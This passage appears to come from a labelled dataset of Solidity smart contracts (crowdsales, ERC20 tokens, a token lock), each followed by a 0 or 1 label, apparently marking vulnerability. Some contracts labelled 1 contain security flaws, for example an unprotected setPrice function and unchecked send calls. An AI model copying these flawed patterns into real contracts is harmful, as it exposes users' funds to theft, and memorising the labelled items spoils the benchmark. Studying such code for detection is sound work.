msg.sender); } function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner notFinished { require(receiver != address(0)); uint tokenAmount = fullTokens.mul(10**uint(token.decimals())); require(tokenAmount != 0); uint weiAmount = weiPrice.mul(tokenAmount); updateInvestorFunds(tokenAmount, weiAmount, receiver , 0); } function updateInvestorFunds(uint tokenAmount, uint weiAmount, address receiver, uint128 customerId) private { investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount); weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); assignTokens(receiver, tokenAmount); Invested(receiver, weiAmount, tokenAmount, customerId); } function buyOnBehalfWithSignedAddress(address receiver, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable validCustomerId(customerId) { bytes32 hash = sha256(receiver); require(ecrecover(hash, v, r, s) == signerAddress); investInternal(receiver, customerId); } function buyOnBehalfWithCustomerId(address receiver, uint128 customerId) public payable validCustomerId(customerId) unsignedBuyAllowed { investInternal(receiver, customerId); } function buyOnBehalf(address receiver) public payable unsignedBuyAllowed { require(!requireCustomerId); investInternal(receiver, 0); } function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { buyOnBehalfWithSignedAddress(msg.sender, customerId, v, r, s); } function buyWithCustomerId(uint128 customerId) public payable { buyOnBehalfWithCustomerId(msg.sender, customerId); } function buy() public payable { buyOnBehalf(msg.sender); } function finalize() public inState(State.Success) onlyOwner stopInEmergency { finalized = true; Finalized(); } function setRequireCustomerId(bool value) public onlyOwner { requireCustomerId = value; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setRequireSignedAddress(bool value, address signer) public onlyOwner { requiredSignedAddress = value; signerAddress = signer; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setEarlyParticipantWhitelist(address addr, bool status) public onlyOwner notFinished stopInEmergency { earlyParticipantWhitelist[addr] = status; Whitelisted(addr, status); } function setMultisig(address addr) internal { require(addr != 0); multisigWallet = addr; } function getState() public view returns (State) { if (finalized) return State.Finalized; else if (!configured) return State.PendingConfiguration; else if (now < startsAt) return State.PreFunding; else if (now <= endsAt && !isCrowdsaleFull()) return State.Funding; else return State.Success; } function assignTokens(address receiver, uint tokenAmount) internal; function isCrowdsaleFull() internal view returns (bool full); function returnExcedent(uint excedent, address receiver) internal { if (excedent > 0) { receiver.transfer(excedent); } } function calculateTokenAmount(uint weiAmount, address receiver) internal view returns (uint weiAllowed, uint tokenAmount); modifier inState(State state) { require(getState() == state); _; } modifier unsignedBuyAllowed() { require(!requiredSignedAddress); _; } modifier notFinished() { State current_state = getState(); require(current_state == State.PreFunding || current_state == State.Funding); _; } modifier validCustomerId(uint128 customerId) { require(customerId != 0); _; } } pragma solidity ^0.4.19; contract DeploymentInfo { uint private deployed_on; function DeploymentInfo() public { deployed_on = block.number; } function getDeploymentBlock() public view returns (uint) { return deployed_on; } } pragma solidity ^0.4.19; contract TokenTranchePricing { using SafeMath for uint; struct Tranche { uint amount; uint start; uint end; uint price; } uint private constant amount_offset = 0; uint private constant start_offset = 1; uint private constant end_offset = 2; uint private constant price_offset = 3; uint private constant tranche_size = 4; Tranche[] public tranches; function getTranchesLength() public view returns (uint) { return tranches.length; } function configurationTokenTranchePricing(uint[] init_tranches) internal { require(init_tranches.length % tranche_size == 0); require(init_tranches[amount_offset] > 0); uint input_tranches_length = init_tranches.length.div(tranche_size); Tranche memory last_tranche; for (uint i = 0; i < input_tranches_length; i++) { uint tranche_offset = i.mul(tranche_size); uint amount = init_tranches[tranche_offset.add(amount_offset)]; uint start = init_tranches[tranche_offset.add(start_offset)]; uint end = init_tranches[tranche_offset.add(end_offset)]; uint price = init_tranches[tranche_offset.add(price_offset)]; require(start < end && now < end); require(i == 0 || (end >= last_tranche.end && amount > last_tranche.amount) || (end > last_tranche.end && amount >= last_tranche.amount)); last_tranche = Tranche(amount, start, end, price); tranches.push(last_tranche); } } function getCurrentTranche(uint tokensSold) private view returns (Tranche storage) { for (uint i = 0; i < tranches.length; i++) { if (tranches[i].start <= now && now < tranches[i].end && tokensSold < tranches[i].amount) { return tranches[i]; } } revert(); } function getCurrentPrice(uint tokensSold) internal view returns (uint result) { return getCurrentTranche(tokensSold).price; } } contract Crowdsale is GenericCrowdsale, LostAndFoundToken, DeploymentInfo, TokenTranchePricing { uint public sellable_tokens; uint public initial_tokens; uint public milieurs_per_eth; uint public minimum_buy_value; address public price_agent; function configurationCrowdsale(address team_multisig, uint start, uint end, address token_retriever, uint[] init_tranches, uint multisig_supply, uint crowdsale_supply, uint8 token_decimals, uint max_tokens_to_sell) public onlyOwner { initial_tokens = multisig_supply; minimum_buy_value = uint(100).mul(10 ** uint(token_decimals)); token = new CrowdsaleToken(multisig_supply, token_decimals, team_multisig, token_retriever); token.setMintAgent(address(this), true); token.setReleaseAgent(address(this)); token.setTransferAgent(address(this), true); token.mint(address(this), crowdsale_supply); sellable_tokens = max_tokens_to_sell; configurationGenericCrowdsale(team_multisig, start, end); configurationTokenTranchePricing(init_tranches); } function assignTokens(address receiver, uint tokenAmount) internal { token.transfer(receiver, tokenAmount); } function calculateTokenAmount(uint weiAmount, address receiver) internal view returns (uint weiAllowed, uint tokenAmount) { uint tokensPerEth = getCurrentPrice(tokensSold).mul(milieurs_per_eth).div(1000); uint maxWeiAllowed = sellable_tokens.sub(tokensSold).mul(1 ether).div(tokensPerEth); weiAllowed = maxWeiAllowed.min256(weiAmount); if (weiAmount < maxWeiAllowed) { tokenAmount = tokensPerEth.mul(weiAmount).div(1 ether); } else { tokenAmount = sellable_tokens.sub(tokensSold); } require(token.balanceOf(receiver).add(tokenAmount) >= minimum_buy_value); } function isCrowdsaleFull() internal view returns (bool full) { return tokensSold >= sellable_tokens; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { uint sold = tokensSold.add(initial_tokens); uint toShare = sold.mul(18).div(82); token.setMintAgent(address(this), true); token.mint(multisigWallet, toShare); token.setMintAgent(address(this), false); token.releaseTokenTransfer(); token.burn(token.balanceOf(address(this))); super.finalize(); } function getLostAndFoundMaster() internal view returns (address) { return owner; } function setStartingTime(uint startingTime) public onlyOwner inState(State.PreFunding) { require(now < startingTime && startingTime < endsAt); startsAt = startingTime; } function setEndingTime(uint endingTime) public onlyOwner notFinished { require(now < endingTime && startsAt < endingTime); endsAt = endingTime; } function updateEursPerEth (uint milieurs_amount) public notFinished { require(milieurs_amount >= 100); require(msg.sender == price_agent); milieurs_per_eth = milieurs_amount; } function updatePriceAgent(address new_price_agent) public onlyOwner notFinished { price_agent = new_price_agent; } function setMinimumBuyValue(uint new_minimum) public onlyOwner notFinished { minimum_buy_value = new_minimum; } }
0
library SafeMathLib { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } function assert(bool assertion) private { if (!assertion) throw; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function finalizeCrowdsale(); } contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract FractionalERC20 is ERC20 { uint public decimals; } contract Crowdsale is Haltable { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLib for uint; FractionalERC20 public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; uint public loadedRefund = 0; uint public weiRefunded = 0; bool public finalized; bool public requireCustomerId; bool public requiredSignedAddress; address public signerAddress; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; mapping (address => bool) public earlyParticipantWhitelist; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); event Refund(address investor, uint weiAmount); event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress); event Whitelisted(address addr, bool status); event EndsAtChanged(uint endsAt); function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { owner = msg.sender; token = FractionalERC20(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; } function() payable { throw; } function investInternal(address receiver, uint128 customerId) stopInEmergency private { if(getState() == State.PreFunding) { if(!earlyParticipantWhitelist[receiver]) { throw; } } else if(getState() == State.Funding) { } else { throw; } uint weiAmount = msg.value; uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { throw; } if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); } function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner { uint tokenAmount = fullTokens * 10**token.decimals(); uint weiAmount = weiPrice * fullTokens; weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); assignTokens(receiver, tokenAmount); Invested(receiver, weiAmount, tokenAmount, 0); } function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { bytes32 hash = sha256(addr); if (ecrecover(hash, v, r, s) != signerAddress) throw; if(customerId == 0) throw; investInternal(addr, customerId); } function investWithCustomerId(address addr, uint128 customerId) public payable { if(requiredSignedAddress) throw; if(customerId == 0) throw; investInternal(addr, customerId); } function invest(address addr) public payable { if(requireCustomerId) throw; if(requiredSignedAddress) throw; investInternal(addr, 0); } function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { investWithSignedAddress(msg.sender, customerId, v, r, s); } function buyWithCustomerId(uint128 customerId) public payable { investWithCustomerId(msg.sender, customerId); } function buy() public payable { invest(msg.sender); } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != 0) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) onlyOwner { finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setRequireCustomerId(bool value) onlyOwner { requireCustomerId = value; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { requiredSignedAddress = value; signerAddress = _signerAddress; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { earlyParticipantWhitelist[addr] = status; Whitelisted(addr, status); } function setEndsAt(uint time) onlyOwner { if(now > time) { throw; } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function loadRefund() public payable inState(State.Failure) { if(msg.value == 0) throw; loadedRefund = loadedRefund.plus(msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; if (weiValue == 0) throw; investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.plus(weiValue); Refund(msg.sender, weiValue); if (!msg.sender.send(weiValue)) throw; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } function setOwnerTestValue(uint val) onlyOwner { ownerTestValue = val; } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) private; } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { using SafeMathLib for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } } contract MintedEthCappedCrowdsale is Crowdsale { uint public weiCap; function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { weiCap = _weiCap; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { return weiRaisedTotal > weiCap; } function isCrowdsaleFull() public constant returns (bool) { return weiRaised >= weiCap; } function assignTokens(address receiver, uint tokenAmount) private { MintableToken mintableToken = MintableToken(token); mintableToken.mint(receiver, tokenAmount); } }
0
pragma solidity ^0.4.25; interface IERC20 { function totalSupply() constant returns (uint256 totalSupply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract GaintdexReward is owned,IERC20{ using SafeMath for uint256; uint256 public constant _totalSupply = 986900422907000000000000000000; string public constant symbol = 'REW'; string public constant name = 'Gaintdex.com Reward'; uint8 public constant decimals = 18; mapping(address => uint256) public balances; mapping (address => mapping (address => uint256)) allowed; constructor() public { balances[msg.sender] = _totalSupply; } function totalSupply() constant returns (uint256 totalSupply) { return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success) { require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0 ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
1
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract SuomenMarkka is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function SuomenMarkka() public { symbol = "FIM"; name = "SuomenMarkka"; decimals = 2; _totalSupply = 1000000000000; balances[0x9bcb2b841Ef87d7238f4D3b1D0B2af7cef6D0604] = _totalSupply; Transfer(address(0), 0x9bcb2b841Ef87d7238f4D3b1D0B2af7cef6D0604, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
pragma solidity ^0.4.23; contract TokenRequestStub{ function balanceOf(address _owner) public view returns (uint256 balance); } contract TokenReclaim{ TokenRequestStub tokenAddress; mapping (address=>string) internal _ethToPubKey; event AccountRegister (address ethAccount, string pubKey, uint holding); constructor() public{ tokenAddress = TokenRequestStub(0x3833ddA0AEB6947b98cE454d89366cBA8Cc55528); } function register(string pubKey) public{ require(bytes(pubKey).length <= 64 && bytes(pubKey).length >= 50 ); uint holding = tokenAddress.balanceOf(msg.sender); _ethToPubKey[msg.sender] = pubKey; emit AccountRegister(msg.sender, pubKey, holding); } function keys(address addr) constant public returns (string){ return _ethToPubKey[addr]; } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30153600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x2d8335624Db3E2d6c1D9577b26648602c1483e9F; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract SampleCrowdsaleToken is StandardToken,Ownable { using SafeMath for uint256; string public constant name = "StarLight"; string public constant symbol = "STAR"; uint8 public constant decimals = 18; address public address1 = 0x08294159dE662f0Bd810FeaB94237cf3A7bB2A3D; address public address2 = 0xAed27d4ecCD7C0a0bd548383DEC89031b7bBcf3E; address public address3 = 0x41ba7eED9be2450961eBFD7C9Fb715cae077f1dC; address public address4 = 0xb9cdb4CDC8f9A931063cA30BcDE8b210D3BA80a3; address public address5 = 0x5aBF2CA9e7F5F1895c6FBEcF5668f164797eDc5D; uint256 public weiRaised; uint public price = 1136; function () payable { if(msg.value < 1 ether){ throw; } uint256 weiAmount = msg.value; uint256 toto = totalSupply.div(1 ether); if ( toto> 3000000) { price = 558; } if (toto > 9000000) { price = 277; } if (toto > 23400000) { price = 136; } if (toto > 104400000) { price = 0; } uint256 tokens = weiAmount.mul(price); weiRaised = weiRaised.add(weiAmount); totalSupply = totalSupply.add(tokens); balances[msg.sender] = balances[msg.sender].add(tokens); address1.send(weiAmount.div(5)); address2.send(weiAmount.div(5)); address3.send(weiAmount.div(5)); address4.send(weiAmount.div(5)); address5.send(weiAmount.div(5)); } function setPrice(uint256 newPrice){ price = newPrice; } function withdraw() onlyOwner { owner.send(this.balance); } }
1
contract Applepay { string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function Applepay() { initialSupply = 10000000000; name ="Applepay"; decimals = 4; symbol = "iPAY"; balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; } function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; } function () { throw; } }
1
